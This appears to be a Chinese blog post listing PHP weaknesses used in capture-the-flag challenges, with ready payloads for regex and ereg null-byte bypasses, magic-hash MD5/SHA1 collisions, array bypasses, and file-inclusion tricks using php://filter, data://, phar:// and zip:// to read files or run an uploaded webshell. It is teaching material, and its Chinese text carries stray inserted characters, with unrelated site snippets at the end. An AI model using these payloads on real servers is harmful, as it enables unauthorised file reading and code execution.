PHP函數(shù)漏洞集

正則表達(dá)式

preg_match
如果在進(jìn)行正則表達(dá)式匹配的時(shí)候喻圃,沒(méi)有限制字符串的開(kāi)始和結(jié)束(^ 和 $)蒋纬,則可以存在繞過(guò)的問(wèn)題

$ip = '1.1.1.1 abcd'; // 可以繞過(guò)
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
  die('error');
} else {
  // echo('key...')
}

ereg %00 截?cái)?br> ereg 讀到 %00 的時(shí)候猎荠,就截止了

<?php
    if (ereg ("^[a-zA-Z]+$", $_GET['a']) === FALSE)  {
        echo 'You password must be alphabet';
    }
?>

a=abcd%001234,可以繞過(guò)
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
字符串對(duì)比解析
在這里如果 $_GET[‘password’]為數(shù)組蜀备,則返回值為NULL
如果為123 || asd || 12as || 123%00&&&**关摇,則返回值為true
其余為false

字符串比較

<?php  
    echo 0 == 'a' ;// a 轉(zhuǎn)換為數(shù)字為 0    重點(diǎn)注意
    // 0x 開(kāi)頭會(huì)被當(dāng)成16進(jìn)制54975581388的16進(jìn)制為 0xccccccccc
    // 十六進(jìn)制與整數(shù),被轉(zhuǎn)換為同一進(jìn)制比較
    '0xccccccccc' == '54975581388' ;

    // 字符串在與數(shù)字比較前會(huì)自動(dòng)轉(zhuǎn)換為數(shù)字碾阁,如果不能轉(zhuǎn)換為數(shù)字會(huì)變成0
    1 == '1';
    1 == '01';
    10 == '1e1';
    '100' == '1e2' ;    

    // 十六進(jìn)制數(shù)與帶空格十六進(jìn)制數(shù)输虱,被轉(zhuǎn)換為十六進(jìn)制整數(shù)
    '0xABCdef'  == '     0xABCdef';
    echo '0010e2' == '1e3';
    // 0e 開(kāi)頭會(huì)被當(dāng)成數(shù)字,又是等于 0*10^xxx=0
    // 如果 md5 是以 0e 開(kāi)頭脂凶,在做比較的時(shí)候宪睹,可以用這種方法繞過(guò)
    '0e509367213418206700842008763514' == '0e481036490867661113260034900752';
    '0e481036490867661113260034900752' == '0' ;

    var_dump(md5('240610708') == md5('QNKCDZO'));
    var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
    var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
    var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>

文件包含

http://127.0.0.1/index.php?page=upload
這種 url 很容易就能想到可能是文件包含或者偽協(xié)議讀取
http://127.0.0.1/index.php?page=php://filter/read=convert.base64-encode/resource=upload

偽協(xié)議

php://filter

讀取文件

index.php?file=php://filter/convert.base64-encode/resource=flag.php
index.php?file=php://filter/read=convert.base64-encode/resource=flag.php

php://input

寫(xiě)入文件, 數(shù)據(jù)利用 POST 傳過(guò)去

index.php?file=php://input

data://

將 include 的文件流重定向到用戶控制的輸入流
test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw==
可以用于控制 file_get_contents 的內(nèi)容為用戶輸入的流

$file=$_GET['file'];
$data = @file_get_contents($a,'r');
echo $data;

phar://

發(fā)現(xiàn)有一個(gè)文件上傳功能蚕钦,無(wú)法繞過(guò)亭病,僅能上傳jpg后綴的文件。與此同時(shí)嘶居,無(wú)法進(jìn)行文件包含截?cái)嘧锾llow_url_include=on 的狀態(tài)下,就可以考慮phar偽協(xié)議繞過(guò)食听。
寫(xiě)一個(gè)shell.php文件胸蛛,里面包含一句話木馬。然后樱报,壓縮成xxx.zip。然后改名為xxx.jpg進(jìn)行上傳泞当。最后使用phar進(jìn)行包含
這里的路徑為上傳的 jpg 文件在服務(wù)器的路徑
/index.php?id=phar://路徑/xxx.jpg/shell

zip://

上述 phar:// 的方法也可以使用 zip://
然后吧1.php文件壓縮成zip迹蛤,再把zip的后綴改為png,上傳上去襟士,并且可以獲得上傳上去的png的地址盗飒。
1.zip文件內(nèi)僅有1.php這個(gè)文件

/php?file=zip://1.png%231.php  
// 也可以嘗試不改名為png,直接使用zip上傳測(cè)試一下
/php?file=zip://1.zip%231.php

MD5 compare漏洞

PHP在處理哈希字符串時(shí)陋桂,如果利用”!=”或”==”來(lái)對(duì)哈希值進(jìn)行比較逆趣,它把每一個(gè)以”0x”開(kāi)頭的哈希值都解釋為科學(xué)計(jì)數(shù)法0的多少次方(為0),所以如果兩個(gè)不同的密碼經(jīng)過(guò)哈希以后嗜历,其哈希值都是以”0e”開(kāi)頭的宣渗,那么php將會(huì)認(rèn)為他們相同抖所。
常見(jiàn)的payload有

0x01 md5(str)
    QNKCDZO
    240610708
    s878926199a
    s155964671a
    s214587387a
    s214587387a
0x02 sha1(str)
    sha1('aaroZmOk')  
    sha1('aaK1STfY')
    sha1('aaO8zKZF')
    sha1('aa3OFF9m')

同時(shí)MD5不能處理數(shù)組,若有以下判斷則可用數(shù)組繞過(guò)

if(@md5($_GET['a']) == @md5($_GET['b']))
{
    echo "yes";
}
//http://127.0.0.1/1.php?a[]=1&b[]=2

變量覆蓋

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末痕囱,一起剝皮案震驚了整個(gè)濱河市田轧,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌鞍恢,老刑警劉巖傻粘,帶你破解...
    沈念sama閱讀 210,978評(píng)論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異帮掉,居然都是意外死亡弦悉,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 89,954評(píng)論 2 384
  • 文/潘曉璐 我一進(jìn)店門蟆炊,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)稽莉,“玉大人,你說(shuō)我怎么就攤上這事盅称〖缦椋” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 156,623評(píng)論 0 345
  • 文/不壞的土叔 我叫張陵缩膝,是天一觀的道長(zhǎng)混狠。 經(jīng)常有香客問(wèn)我,道長(zhǎng)疾层,這世上最難降的妖魔是什么将饺? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 56,324評(píng)論 1 282
  • 正文 為了忘掉前任,我火速辦了婚禮痛黎,結(jié)果婚禮上予弧,老公的妹妹穿的比我還像新娘。我一直安慰自己湖饱,他們只是感情好掖蛤,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,390評(píng)論 5 384
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著井厌,像睡著了一般蚓庭。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上仅仆,一...
    開(kāi)封第一講書(shū)人閱讀 49,741評(píng)論 1 289
  • 那天器赞,我揣著相機(jī)與錄音,去河邊找鬼墓拜。 笑死港柜,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的咳榜。 我是一名探鬼主播夏醉,決...
    沈念sama閱讀 38,892評(píng)論 3 405
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼爽锥,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了授舟?” 一聲冷哼從身側(cè)響起救恨,我...
    開(kāi)封第一講書(shū)人閱讀 37,655評(píng)論 0 266
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎释树,沒(méi)想到半個(gè)月后肠槽,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 44,104評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡奢啥,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,451評(píng)論 2 325
  • 正文 我和宋清朗相戀三年秸仙,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片桩盲。...
    茶點(diǎn)故事閱讀 38,569評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡寂纪,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出赌结,到底是詐尸還是另有隱情捞蛋,我是刑警寧澤,帶...
    沈念sama閱讀 34,254評(píng)論 4 328
  • 正文 年R本政府宣布柬姚,位于F島的核電站拟杉,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏量承。R本人自食惡果不足惜搬设,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,834評(píng)論 3 312
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望撕捍。 院中可真熱鬧拿穴,春花似錦、人聲如沸忧风。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,725評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)狮腿。三九已至该窗,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間蚤霞,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,950評(píng)論 1 264
  • 我被黑心中介騙來(lái)泰國(guó)打工义钉, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留昧绣,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,260評(píng)論 2 360
  • 正文 我出身青樓捶闸,卻偏偏與公主長(zhǎng)得像夜畴,于是被迫代替她去往敵國(guó)和親拖刃。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,446評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容

  • Composer Repositories Composer源 Firegento - Magento模塊Comp...
    零一間閱讀 3,956評(píng)論 1 66
  • 文件上傳漏洞是指用戶上傳了一個(gè)可執(zhí)行的腳本文件贪绘,并通過(guò)此腳本文件獲得了執(zhí)行服務(wù)器端命令的能力兑牡。這種攻擊方式是最為直...
    付出從未后悔閱讀 1,127評(píng)論 0 4
  • 一套實(shí)用的滲透測(cè)試崗位面試題,你會(huì)嗎税灌? 1.拿到一個(gè)待檢測(cè)的站均函,你覺(jué)得應(yīng)該先做什么? 收集信息 whois菱涤、網(wǎng)站源...
    g0閱讀 4,818評(píng)論 0 9
  • Awesome PHP 一個(gè)PHP資源列表苞也,內(nèi)容包括:庫(kù)、框架粘秆、模板如迟、安全、代碼分析攻走、日志殷勘、第三方庫(kù)、配置工具昔搂、W...
    guanguans閱讀 5,751評(píng)論 0 47
  • 弟弟之前和我聊天說(shuō)人讀書(shū)是有目的的玲销,希望都有用之書(shū),有價(jià)值之書(shū)巩趁。還說(shuō)人都是喜歡趨利避害的痒玩。我當(dāng)時(shí)很反對(duì),還為此跟他...
    南皮閱讀 427評(píng)論 0 0